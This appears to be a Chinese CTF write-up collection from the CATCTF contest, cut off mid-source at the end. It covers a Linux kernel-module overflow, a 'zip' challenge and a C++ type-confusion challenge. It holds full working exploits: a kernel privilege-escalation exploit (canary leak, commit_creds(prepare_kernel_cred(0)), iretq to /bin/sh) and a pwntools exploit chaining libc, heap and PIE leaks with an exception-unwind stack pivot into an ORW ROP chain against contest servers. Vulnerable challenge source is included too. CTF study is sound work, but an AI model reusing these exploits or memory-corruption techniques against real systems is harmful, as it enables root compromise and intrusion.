printk(KERN_INFO "[HRPModule:] Entering HRP module. \n");
// 在加载本模块时,首先向操作系统注册一个chrdev,也即字节设备,三个参数分别为:主设备号(填写0即为等待系统分配),设备名称以及file_operation的结构体。返回值为系统分配的主设备号。
majorNumber = register_chrdev(0, DEVICE_NAME, &HRP_module_fo);
if(majorNumber < 0){
printk(KERN_INFO "[HRPModule:] Failed to register a major number. \n");
return majorNumber;
}
printk(KERN_INFO "[HRPModule:] Successful to register a major number %d. \n", majorNumber);

//接下来,注册设备类
HRP_module_class = class_create(THIS_MODULE, CLASS_NAME);
if(IS_ERR(HRP_module_class)){
unregister_chrdev(majorNumber, DEVICE_NAME);
printk(KERN_INFO "[HRPModule:] Class device register failed!\n");
return PTR_ERR(HRP_module_class);
}
printk(KERN_INFO "[HRPModule:] Class device register success!\n");

//最后,使用device_create函数注册设备驱动
HRP_module_device = device_create(HRP_module_class, NULL, MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
if (IS_ERR(HRP_module_device)){ // Clean up if there is an error
class_destroy(HRP_module_class); // Repeated code but the alternative is goto statements
unregister_chrdev(majorNumber, DEVICE_NAME);
printk(KERN_ALERT "Failed to create the device\n");
return PTR_ERR(HRP_module_device);
}
printk(KERN_INFO "[HRPModule:] HRP module register successful. \n");
return 0;
}


static void __exit HRP_exit(void)
{
//退出时,依次清理生成的device, class和chrdev。这样就将系统/dev下的设备文件删除,并自动注销了/proc/devices的设备。
printk(KERN_INFO "[HRPModule:] Start to clean up module.\n");
device_destroy(HRP_module_class, MKDEV(majorNumber, 0));
class_destroy(HRP_module_class);
unregister_chrdev(majorNumber, DEVICE_NAME);
printk(KERN_INFO "[HRPModule:] Clean up successful. Bye.\n");

}

module_init(HRP_init);
module_exit(HRP_exit);

重点

这里是构造qmemcpy进行溢出,这个内存复制操作只有汇编能完成这样的溢出,普通的strcpy,memcpy会被GCC编译的时候在函数里直接强塞检测函数,杜绝了溢出操作,所以在现实中,真有这么操蛋的溢出基本上是不可能的,只是为了学习研究。

1
2
3
4
5
6
7
__asm__(
"mov $0x100,%rcx;"
"mov $pwn,%rsi;"
"mov %rsp,%rdi;"
"xor %eax,%eax;"
"rep movsb;"
);

攻击思路

先看read函数,泄露canary

这里copy_to_user可以把内核空间的数据给到用户,大小限制固定0x40,刚好buf数组大小也是0x40,所以在EXP里面到时候read回来的时候下标为0的地方就是canary了

1
2
3
4
5
6
7
static ssize_t HRP_module_read (struct file * file, char __user * user , size_t size, loff_t *p)
{
char this_buf[0x40]="welcome to my house\n";
printk(KERN_INFO "USE MY read\n");
copy_to_user(user,&this_buf[size],0x40);
return 114514;
}

write函数可以把用户的数据给到内核中,这里是保存在BSS段上

1
2
3
4
5
6
7
8
static ssize_t HRP_module_write (struct file * file, const char __user * user, size_t size, loff_t * p)
{

printk(KERN_INFO "USE MY write\n");
copy_from_user(pwn,user, size);

return 114514;
}

结合ioctl中的内存复制操作,可以造成很大的溢出。

这样思路就很简单的,填充canary,填充用户态利用函数地址就行了。

EXP

我开启了动态地址随机化,所以在init提前保存了习惯地址,给选手用来计算偏移,find_symbols函数就是计算offset和寻找真实地址的

save_status函数是用来保存用户态的栈情况的,从内核到用户态的过程中,栈情况是内核的,如果最后返回到用户态执行完了代码但是咩有还原到用户态的栈,你执行了也没用的还是sh是不会返回给你的。

get函数用来修改uid的,执行commit_creds(prepare_kernel_cred(0))修改UID到root,下面的汇编就是用来切换到用户态并且执行shell 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void get(){

char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;"
"pushq user_ss;"
"pushq user_sp;"
"pushq user_rflags;"
"pushq user_cs;"
"push $shell;"
"iretq;");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
/*
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = 0xffffffff810cd0a0;
void (*commit_creds)(void*) KERNCALL = 0xffffffff810ccc30;*/

size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0xccc30;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0xcd0a0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}
void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
/*
void get(){

commit_creds(prepare_kernel_cred(0));
asm(
"swapgs;"
"pushq user_ss;"
"pushq user_sp;"
"pushq user_rflags;"
"pushq user_cs;"
"push $shell;"
"iretq;");
}*/
void get(){

char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;"
"pushq user_ss;"
"pushq user_sp;"
"pushq user_rflags;"
"pushq user_cs;"
"push $shell;"
"iretq;");
}
void shell(){
system("/bin/sh");
printf("getshell!");
}
int main()
{
save_status();
printf("prepare_kernel_cred: %p\n",prepare_kernel_cred);
int fd;
fd = open("/dev/test", O_RDWR); //我们的设备挂载在/dev/test处
if (fd < 0){
perror("Failed to open the device...");
return 0;
}else{
printf("Open device successful!\n");
}
char buf[0x40];

read(fd,buf,0x40);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rbp = ((size_t *)buf)[4];

find_symbols();
size_t rop[0x1000] = {0};
rop[2] = canary;
rop[3] = rbp;
rop[4] = &get; // rip
write(fd,rop,0x100);
ioctl(fd,0);

}

1
gcc exploit.c -o exploit -no-pie -static

上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

context.log_level = 'debug'
cmd = '$ '

def exploit(r):
r.sendlineafter(cmd, 'cd /tmp')
r.sendlineafter(cmd, 'stty -echo')
#os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./exp > ./exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.interactive()

#p = process('./startvm.sh', shell=True)
p = remote('127.0.0.1',12132)

exploit(p)

tips

调试的时候把init文件改成root用户,在启动脚本那把kalsr改成nokalsr,方便调试,具体操作可以加载符号表那些看我的mygdbinit

驱动加载地址用lsmod查看,找gadget自己用ropper找吧,ropgadget算是寄了。还有题目的vmlinux提取用下面这个

因此还有一个工具可以使用:vmlinux-to-elf

使用这个工具之前系统中必须装有高于3.5版本的python

1
2
COPYsudo apt install python3-pip
sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf

使用方式:

1
2
COPY# vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
vmlinux-to-elf bzImage vmlinux

之后解压出来的 vmlinux 就是带符号的,可以正常被 gdb 读取和下断点。

调试用gef,不卡顿,不会有符号表问题,用就完事了

1
2
3
pip3 install capstone unicorn keystone-engine ropper
git clone https://github.com/hugsy/gef.git
echo source `pwd`/gef/gef.py >> ~/.gdbinit

调试细节那些,打断点很讲究,尽量不要打在push rbp上;然后直接多看看内核驱动报错,可以看见出问题的地址,变相送个调试器(不是)

zip💼

分析发现此题实现的zlib压缩,unzip需要购买root,root的CDK根据题目提示

n=221 e=7,可以联想到RSA,分析CDK检测算法发现3个字符串结果的比对,尝试RSA解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
def Decrypt(c,e,p,q):
L=(p-1)*(q-1)
d=gmpy2.invert(e,L)
n=p*q
m=gmpy2.powmod(c,d,n)
flag=chr(m)
print(flag)
if __name__ == '__main__':
p = 17
q = 13
e = 7
c = 149
Decrypt(c,e,p,q)
c=108
Decrypt(c,e,p,q)
c=24
Decrypt(c,e,p,q)

得到CDK就是HRP

zip可以压缩任何文件并指定压缩后文件名,直接把flag或者/bin/sh压缩为pwn,此时不会影响程序运行,因为程序此时没有结束是被挂载在proc目录下的。

unzip只能输入一个字符,但是这里不难发现unzip和zip都是被main所调用的并且filename变量大小都是一样的,利用子函数同栈内存大小相等,在unzip的时候发送Ctrl+D(手动输入),程序就会结束输入,这样unzip的默认filename就是上次在zip输入的压缩后的文件名,也就是pwn。

等下次再去nc题目的时候就会执行报错得到flag(同文件名覆盖不影响权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
q@ubuntu:~$ nc 121.37.24.208 49472
1.zip
2.unzip
3.buy root
3
请输入CDK:
HRP

start…………………………
1.zip
2.unzip
3.buy root
1
file
flag
zip file
pwn
1.zip
2.unzip
3.buy root
2
zip file
^C
q@ubuntu:~$ nc 121.37.24.208 49472
./pwn: 1: ./pwn: flag{ReT0_fFPeTM0s2VjtU3kN}: not found

非预期

榜一大哥Esifiel 的题解

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#include<stdio.h>
#include <math.h>
#include<unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <zlib.h>
//gcc -o zip zip.c -lz
int uid=1000;
int changdu;
int c[100];

//加密函数
void encrypt(int e,int n){ //自己指定指数e

//先将符号明文转换成字母所对应的ascii码。
char mingwen[100]; //符号明文
printf("请输入CDK:\n");
scanf("%10s",mingwen);
getchar();
changdu=strlen(mingwen);
int ming[strlen(mingwen)]; //定义符号明文
for(int i=0;i<strlen(mingwen);i++){
ming[i]=mingwen[i]; //将字母转换成对应的ascii码。
}
printf("\n");
//开始加密
printf("start…………………………\n");
int zhuan=1; //c为加密后的数字密文
for(int i=0;i<strlen(mingwen);i++){

for(int j=0;j<e;j++){
zhuan=zhuan*ming[i]%n;
//zhuan=zhuan%n;
}
c[i]=zhuan;
//printf("%d",mi[i]);
zhuan=1;
}
if(c[0]!=149||c[1]!=108||c[2]!=24)//14910824
{
exit(0);
}
else
{
uid=0;
}

}
int zip(void)
{
FILE* file;
uLong flen;
unsigned char* fbuf = NULL;
uLong clen;
unsigned char* cbuf = NULL;


char fileName[0x2560];
puts("file");
scanf("%2560s",fileName);
getchar();

if((file = fopen(fileName, "rb")) == NULL)
{
printf("Can\'t open %s!\n", fileName);
return -1;
}
/* 装载源文件数据到缓冲区 */
fseek(file, 0L, SEEK_END); /* 跳到文件末尾 */
flen = ftell(file); /* 获取文件长度 */
fseek(file, 0L, SEEK_SET);
if((fbuf = (unsigned char*)malloc(sizeof(unsigned char) * flen)) == NULL)
{
printf("No enough memory!\n");
fclose(file);
return -1;
}
fread(fbuf, sizeof(unsigned char), flen, file);
/* 压缩数据 */
clen = compressBound(flen);
if((cbuf = (unsigned char*)malloc(sizeof(unsigned char) * clen)) == NULL)
{
printf("No enough memory!\n");
fclose(file);
return -1;
}
if(compress(cbuf, &clen, fbuf, flen) != Z_OK)
{
printf("Compress %s failed!\n", fileName);
return -1;
}
fclose(file);

puts("zip file");
scanf("%2560s",fileName);
getchar();
if((file = fopen(fileName, "wb")) == NULL)
{
printf("Can\'t create %s!\n", fileName);
return -1;
}
/* 保存压缩后的数据到目标文件 */
fwrite(&flen, sizeof(uLong), 1, file); /* 写入源文件长度 */
fwrite(&clen, sizeof(uLong), 1, file); /* 写入目标数据长度 */
fwrite(cbuf, sizeof(unsigned char), clen, file);
fclose(file);

free(fbuf);
free(cbuf);

return 0;
}
int unzip(void)
{
FILE* file;
uLong flen;
unsigned char* fbuf = NULL;
uLong ulen;
unsigned char* ubuf = NULL;

char fileName[0x2560];
puts("zip file");

scanf("%1s",fileName);
getchar();
if((file = fopen(fileName, "rb")) == NULL)
{
printf("Can\'t open %s!\n", fileName);
return -1;
}
/* 装载源文件数据到缓冲区 */
fread(&ulen, sizeof(uLong), 1, file); /* 获取缓冲区大小 */
fread(&flen, sizeof(uLong), 1, file); /* 获取数据流大小 */
if((fbuf = (unsigned char*)malloc(sizeof(unsigned char) * flen)) == NULL)
{
printf("No enough memory!\n");
fclose(file);
return -1;
}
fread(fbuf, sizeof(unsigned char), flen, file);
/* 解压缩数据 */
if((ubuf = (unsigned char*)malloc(sizeof(unsigned char) * ulen)) == NULL)
{
printf("No enough memory!\n");
fclose(file);
return -1;
}
if(uncompress(ubuf, &ulen, fbuf, flen) != Z_OK)
{
printf("Uncompress %s failed!\n", fileName);
return -1;
}
fclose(file);
puts("unzip file");
scanf("%1s",fileName);
getchar();
if((file = fopen(fileName, "wb")) == NULL)
{
printf("Can\'t create %s!\n", fileName);
return -1;
}
/* 保存解压缩后的数据到目标文件 */
fwrite(ubuf, sizeof(unsigned char), ulen, file);
fclose(file);

free(fbuf);
free(ubuf);

return 0;
}
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void init()
{
sandbox();
setbuf(stdout,0);
setbuf(stdin,0);

}
void buy()
{
encrypt(7,221);
}
void menu()
{
puts("1.zip");
puts("2.unzip");
puts("3.buy root");
}


int main(int argc, char const *argv[])
{
init();
while(1)
{
menu();
int choice;
scanf("%d",&choice);
getchar();
switch(choice)
{
case 1:zip();break;
case 2:
if(uid==0)
{
unzip();
}break;
case 3:buy();break;
default:exit(0);
}
}
return 0;
}

welcome_cat_ctf🎉

gdb修改glod变量 set *0x55555575e388=0x8888888 然后移动到@下面按下j,向服务器发送flag获取请求即可得到flag

chao 🌿

感谢winmt师傅投递的题目

前言

首先,祝各位师傅们元旦快乐,2023新的一年挖洞如水喝,拿shell拿到手软!

其实,这个题我自己也没感觉很难,更没想到在这次CATCTF跨年赛上能坚挺到最后,成为Pwn方向唯一一个零解的题,应该是师傅们都忙着跨年陪对象了呜呜呜。如果有师傅在这题上花了太多时间,影响了新年的好心情,winmt在此跪下QAQ

本题在漏洞挖掘方面,考察了去除符号表的C++程序逆向恢复 以及 C++中常见的由虚函数引起的类型混淆漏洞。本题代码量并不大,虽然去除了符号表,但是逆向思路整体还是比较清晰的。弄清逻辑后,类型混淆漏洞应该也不难发现。主要考察点在漏洞利用方面,很容易发现有栈溢出,但是并不好利用,此处需要了解C++异常处理的栈回退机制。关于C++异常机制的Pwn题其实很早就出现过,也并不新奇,但是本题在catch到异常后,直接退出了程序,也不好绕过canary保护,无法栈溢出。不过可调试发现,能够通过栈溢出劫持到异常处理中调用的函数指针,继而通过栈迁移完成利用。

下面给各位师傅们呈上本题的WriteUp,对本题有任何其他想法的师傅,也都欢迎找我一起交流~

逆向分析

本题是一道32位的C++ Pwn题,并且保护全开、去除了符号表。因此,需要先找到类的虚表,方便之后对类的逆向恢复:

通过start找到main函数之后,发现直接反编译会有问题(疑似IDA的bug),将报错的0x1FF5处(cout的一部分)nop掉即可成功反编译main函数:

可以看到本题开启了沙盒,不过由于其他考点较多,就没有在沙盒考察上增加难度了,只禁用了execve:

创建功能:最多创建10次,每次可以创建0和1两种对象存放数据,数据的大小不能超过0x100。 (1)创建类型为0的对象,首先申请一个堆块,将Class_one的虚表地址放在堆块头,输入的内容长度存在偏移0x4的位置,输入的内容通过strdup申请的指针存放在0x8的位置。需要注意的是,strdup调用了strlen获取长度,因此输入的内容相当于会被00截断

创建类型为1的对象,同样会申请一个堆块,将Class_two的虚表地址放在堆块头,输入的内容长度存在偏移0x4的位置,不过还会又创建一个对象,在该对象中存放输入内容的长度以及通过strdup为输入的内容申请的堆块地址,并将该对象存放在为Class_two创建的堆块偏移0x8的位置。

更新功能:不论是Class_one还是Class_two的对象,都会调用Class_one虚表中的sub_2290函数,由此可以判断:Class_two是Class_one的派生类。在sub_2290函数中,会释放掉偏移为0x8处的堆块,更新长度,并通过strdup为新输入的内容产生新的堆块存放在偏移0x8处。此处存在一个类型混淆漏洞:sub_2290函数明显只是针对Class_one的操作,而Class_two更新的时候也会调用这个函数,故产生了类型混淆,可利用此处漏洞控制size和buf地址

输出功能:均会调用Class_one类虚表中的sub_22EA函数,其中获取size的时候,会分布调用Class_one和Class_two各自虚表中的相应函数:

其中,Class_one会用strlen获取偏移为0x8处的buf的长度,而Class_two会获取偏移为8处的对象中开头的size,这更呼应了上一点的类型混淆漏洞的可利用性。

这里之后调用alloca动态分配栈,分配的大小是size+10,然后首先strcpy到栈上"Content: "字符串9个字节,再将需要输出的内容从对象中的buf区域(这里与上面获取size类似,Class_one直接获取偏移0x8处的buf,Class_two会获取偏移为8处的对象中偏移为4的buf,可通过类型混淆漏洞利用)strcat到栈上之后的区域(存在缓冲区溢出)。

不过,若是strcat之后buf的长度大于length-1(这里可利用计算机补码造成整型溢出),则会用C++异常处理中的throw抛出错误,否则将buf输出出来:

C++异常处理的catch部分在0x204C处,会输出Error!并通过exit(-1)结束程序:

漏洞利用

  1. 首先,根据逆向分析的结果,存在类型混淆漏洞,可申请Class_two的对象,并通过update功能,任意修改size和buf,并通过display功能,可进行任意地址读,且利用display中的strcat可造成缓冲区溢出
  2. 泄露libc地址:虽然我们可利用类型混淆漏洞进行任意地址读,但是此题保护全开,我们最开始是拿不到任何地址的。由于每次申请的堆块大小不得超过0x100,故需要先将tcache填满,再free到unsorted bin的堆块中就会有libc残留地址。紧接着,布局堆风水(这里需要注意一些细节,此处不赘述了),使得update申请到的堆块的0x4偏移位置是libc的残留地址,其中仍然存放着libc地址(main_arena+0x40),即可得到libc_base
  3. 泄露heap地址:有了libc地址之后,虽然main_arena中有heap地址,不过在display中,当strcat没遇到,就会一直拼接,main_arena附近很长一段都没有,这就会直接乱码栈溢出,导致崩溃。因此,这里利用environ附近有heap段末地址的特性,泄露heap地址(需要注意避开末尾的)。
  4. 泄露PIE地址:在为对象分配的堆中,开头会存放程序中对应的虚表地址,可利用此处泄露PIE地址。当然,在libc或ld中找程序相关地址泄露也是可以的。
  5. 在上面泄露地址的时候(由于是32位的程序,也可通过爆破一位程序地址来泄露,概率1/16),虽然已经尽可能保证拼接的长度小,不会直接乱码栈溢出。不过,仍然可能会超出分配的数组本身的大小,通过C++异常处理throw抛出error。这里可以利用计算机补码,因为比较的时候是与length-1比较的,故可以使length为0,这样减1后根据补码的相关知识,就变成了0xffffffff,即最大的数,就可以绕过异常处理了
  6. 然而,本题是开了canary保护的,虽然我们可以从比如TLS中泄露出canary值,不过canary末两位一定是00,这样如果直接将payload发过去,在strcat的时候会被截断。因此,得另辟蹊径绕过canary保护。注意到这里有一个C++的异常处理,通过栈溢出将返回地址改到try与catch中间的位置(即可被捕获到异常的位置,如下图0x2044处),这样就能跳到catch继续执行了。不过,这里与常规的利用catch栈溢出的思路不同:因为这里catch之后直接exit了,也有canary保护。

当执行到catch中的cxa_begin_catch时,会跳转到ebx+0x1c中的地址:

而ebx又是esi赋值过来的,esi是ebp-8中的值,是可控的:

此时,若通过缓冲区溢出在ebp写入payload地址-4,ebx+0x1c写入存放着leave; ret的地址,即可栈迁移,绕过canary保护。需要注意的是,当缓冲区溢出执行的时候,会将栈上存放buf和length的指针覆盖掉,这里需要伪造一下,使得其能走到异常处理的throw处。

这里需要用ORW的payload绕过沙盒,也就需要先将payload写入堆中,再栈迁移跳转过去。然而,此payload中必然会出现,被截断,无法完整地发送过去。因此,这里我们可以先读入gets的payload,跳转执行。再通过gets读入ORW的payload到某可写地址处,再栈迁移过去即可。

这里还需要考虑到stdin输入缓冲区的性质:当输入缓冲区中开头有,则gets/fgets这类走输入缓冲区的函数不会再读入数据(可自行查看相关源码)。因此,我们在之前所有cin读入的操作处,都用空格作为截断符,即可避免这个问题,使gets的payload正常读入数据(会先将输入缓冲区中残留的一个空格符写入到目标地址)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')

#io = process("./pwn")
io = remote("223.112.5.156", 51006)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def menu(choice):
io.sendafter("Please input your choice >> ", str(choice) + " ")

def add(typ, content):
menu(1)
io.sendafter("Which type do you want to create?\n", str(typ) + " ")
io.sendafter("Please enter the content >> ", content + b" ")

def edit(idx, content):
menu(2)
io.sendafter("Which one do you want to update?\n", str(idx) + " ")
io.sendafter("Please enter the new content >> ", content + b" ")

def show(idx):
menu(3)
io.sendafter("Which one do you want to display?\n", str(idx) + " ")

add(1, p32(0xdeadbeaf))
for i in range(8) :
add(0, p32(0xffffffff)*0x20)
for i in range(8) :
edit(i+1, p32(0xffffffff))
edit(0, p32(0xdeadbeaf)*4)
add(0, p32(0xdeadbeaf))
edit(0, p32(0x111111))
show(0)
main_arena = u32(io.recvuntil(b'\xf7')[-4:]) - 0x40
libc_base = main_arena - (libc.sym['__malloc_hook'] + 0x18)
success("libc_base:\t" + hex(libc_base))

edit(0, p32(0xfffffff6) + p32(libc_base + libc.sym['environ'] + 0x11))
show(0)
io.recvuntil("Content: ")
heap_base = u32(io.recv(3).rjust(4, b'\x00')) - 0x22000 + 0x8
success("heap_base:\t" + hex(heap_base))

edit(0, p32(0xfffffff6) + p32(heap_base + 0x4ba8))
show(0)
io.recvuntil("Content: ")
pie_base = u32(io.recv(4)) - 0x4e0c
success("pie_base:\t" + hex(pie_base))

pop_ebp_ret = libc_base + 0x1a973
leave_ret = libc_base + 0x110226
unwind_ret = pie_base + 0x2044

payload = b'\xff\xff\xff' + p32(0xffffffff)*4 + p32(heap_base + 0x4cd1) + p32(0xffffffff)*2 + p32(heap_base + 0x4c60) + p32(0xffffffff)*2 + p32(heap_base + 0x4ca3 - 0x1c)
payload += p32(heap_base + 0x4c97 - 4) + p32(unwind_ret)
payload += p32(libc_base + libc.sym['gets']) + p32(pop_ebp_ret) + p32(libc_base + libc.sym['__free_hook']) + p32(leave_ret)
edit(0, p32(0xffffffff) + p32(0xffffffff) + payload)
edit(0, p32(0xffffffff) + p32(heap_base + 0x4c60))
show(0)

add_esp_8_ret = libc_base + 0x2fbe9
add_esp_c_ret = libc_base + 0x83d12

orw_rop = b'\xff\xff\xff' + p32(libc_base + libc.sym['open']) + p32(add_esp_8_ret) + p32(libc_base + libc.sym['__free_hook'] + 0x34) + p32(0)
orw_rop += p32(libc_base + libc.sym['read']) + p32(add_esp_c_ret) + p32(3) + p32(libc_base + libc.sym['__free_hook'] + 0x100) + p32(0x50)
orw_rop += p32(libc_base + libc.sym['puts']) + p32(0xdeadbeaf) + p32(libc_base + libc.sym['__free_hook'] + 0x100) + b'./flag\x00'
sleep(0.1)
io.sendline(orw_rop)
io.interactive()

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
// g++ -o pwn source.cpp -m32
#include <iostream>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <dlfcn.h>
#include <cxxabi.h>
#include <unwind.h>
#include <string>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
using namespace std;

void filter()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 4),
BPF_JUMP(BPF_JMP+BPF_JEQ, 0x40000003, 0, 2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 0),
BPF_JUMP(BPF_JMP+BPF_JEQ, 11, 0, 1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}

void welcome()
{
cout << " ▄████▄ ██░ ██ ▄▄▄ ▒█████ " << endl;
cout << "▒██▀ ▀█ ▓██░ ██▒▒████▄ ▒██▒ ██▒" << endl;
cout << "▒▓█ ▄ ▒██▀▀██░▒██ ▀█▄ ▒██░ ██▒" << endl;
cout << "▒▓▓▄ ▄██▒░▓█ ░██ ░██▄▄▄▄██ ▒██ ██░" << endl;
cout << "▒ ▓███▀ ░░▓█▒░██▓ ▓█ ▓██▒░ ████▓▒░" << endl;
cout << "░ ░▒ ▒ ░ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ▒░▒░▒░ " << endl;
cout << " ░ ▒ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ▒░ " << endl;
cout << "░ ░ ░░ ░ ░ ▒ ░ ░ ░ ▒ " << endl;
cout << "░ ░ ░ ░ ░ ░ ░ ░ ░ " << endl;
cout << "░ " << endl;
}

void init()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
welcome();
alarm(0x20);
filter();
}

class Class_one
{
public:
int length;
void *data;

Class_one() {};

Class_one(char* buf)
{
this->length = strlen(buf);
this->data = strdup(buf);
}

virtual ~Class_one()
{
free(this->data);
}

virtual char *c_str()
{
return (char*)data;
}

virtual int size()
{
return strlen((const char*)data);
}

void update(char* buf)
{
free(this->data);
this->data = strdup(buf);
this->length = strlen(buf);
}

void print()
{
this->length = size() + 10;
char buf[this->length];
strcpy(buf, "Content: ");
strcat(buf, c_str());
if(strlen(buf) > (this->length - 1)) throw -1;
cout << buf << endl;
}
};

class Class_kun
{
public:
int size;
char* buf;

